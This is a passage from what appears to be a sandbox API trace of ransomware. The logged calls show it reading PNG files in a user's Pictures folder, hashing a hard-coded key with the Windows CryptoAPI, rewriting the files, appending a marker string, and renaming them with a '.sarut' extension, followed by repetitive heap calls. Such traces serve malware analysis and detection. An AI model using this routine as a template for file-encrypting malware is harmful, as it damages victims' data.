lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.214] CloseHandle (hObject=0x5c4) returned 1 [0272.222] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\fQmlW2dWeShgkpqPW.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\fqmlw2dweshgkpqpw.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\fQmlW2dWeShgkpqPW.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\fqmlw2dweshgkpqpw.png.sarut")) returned 1 [0272.224] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45d15d0, ftCreationTime.dwHighDateTime=0x1d4cb8f, ftLastAccessTime.dwLowDateTime=0x7590d6e0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x7590d6e0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HEQ_cwY6PJg1oZNA5e.png", cAlternateFileName="HEQ_CW~1.PNG")) returned 1 [0272.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xb0) returned 0x30548b8 [0272.224] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x106) returned 0x6f1e70 [0272.224] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30548b8 | out: hHeap=0x640000) returned 1 [0272.224] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\HEQ_cwY6PJg1oZNA5e.png") returned=".png" [0272.224] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\HEQ_cwY6PJg1oZNA5e.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\heq_cwy6pjg1ozna5e.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.225] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=11228) returned 1 [0272.225] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.228] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2bb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.228] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.232] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.232] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.232] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.232] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x2bdc, lpOverlapped=0x0) returned 1 [0272.233] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.233] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.233] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.233] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.233] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5170) returned 1 [0272.234] CryptCreateHash (in: hProv=0x2fa5170, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.234] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.234] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.234] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.234] GetLastError () returned 0x0 [0272.234] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.234] CryptReleaseContext (hProv=0x2fa5170, dwFlags=0x0) returned 1 [0272.234] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.234] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x2be0) returned 0x311d708 [0272.235] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.235] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x2bd7, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x2bd7, lpOverlapped=0x0) returned 1 [0272.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.235] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x2bdc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.235] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.235] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.235] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0272.235] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.235] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.235] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.236] CloseHandle (hObject=0x5c4) returned 1 [0272.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xe0) returned 0x3073c20 [0272.240] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8e0) returned 0x311d708 [0272.240] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3073c20 | out: hHeap=0x640000) returned 1 [0272.240] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\HEQ_cwY6PJg1oZNA5e.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\heq_cwy6pjg1ozna5e.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\io8_8GuAwtxmu\\GbnfrHoOCWV\\q5KdcF5euAdAWzc8\\HEQ_cwY6PJg1oZNA5e.png.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\io8_8guawtxmu\\gbnfrhoocwv\\q5kdcf5euadawzc8\\heq_cwy6pjg1ozna5e.png.sarut")) returned 1 [0272.241] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.241] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0272.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f1e70 | out: hHeap=0x640000) returned 1 [0272.242] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf45d15d0, ftCreationTime.dwHighDateTime=0x1d4cb8f, ftLastAccessTime.dwLowDateTime=0x7590d6e0, ftLastAccessTime.dwHighDateTime=0x1d4ccf4, ftLastWriteTime.dwLowDateTime=0x7590d6e0, ftLastWriteTime.dwHighDateTime=0x1d4ccf4, nFileSizeHigh=0x0, nFileSizeLow=0x2bdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HEQ_cwY6PJg1oZNA5e.png", cAlternateFileName="HEQ_CW~1.PNG")) returned 0 [0272.242] FindClose (in: hFindFile=0x30914e0 | out: hFindFile=0x30914e0) returned 1 [0272.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0272.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054970 | out: hHeap=0x640000) returned 1 [0272.242] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0272.242] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5280 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x72ea40 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa4f50 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3016548 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3023cf8 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6f9050 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115858 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5418 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3054800 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2faf350 | out: hHeap=0x640000) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x2fb7ef8 [0272.243] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.243] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.243] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.244] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.244] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.245] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.245] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.246] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.246] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.247] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.247] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.248] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.248] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.248] RtlAllocateHeap 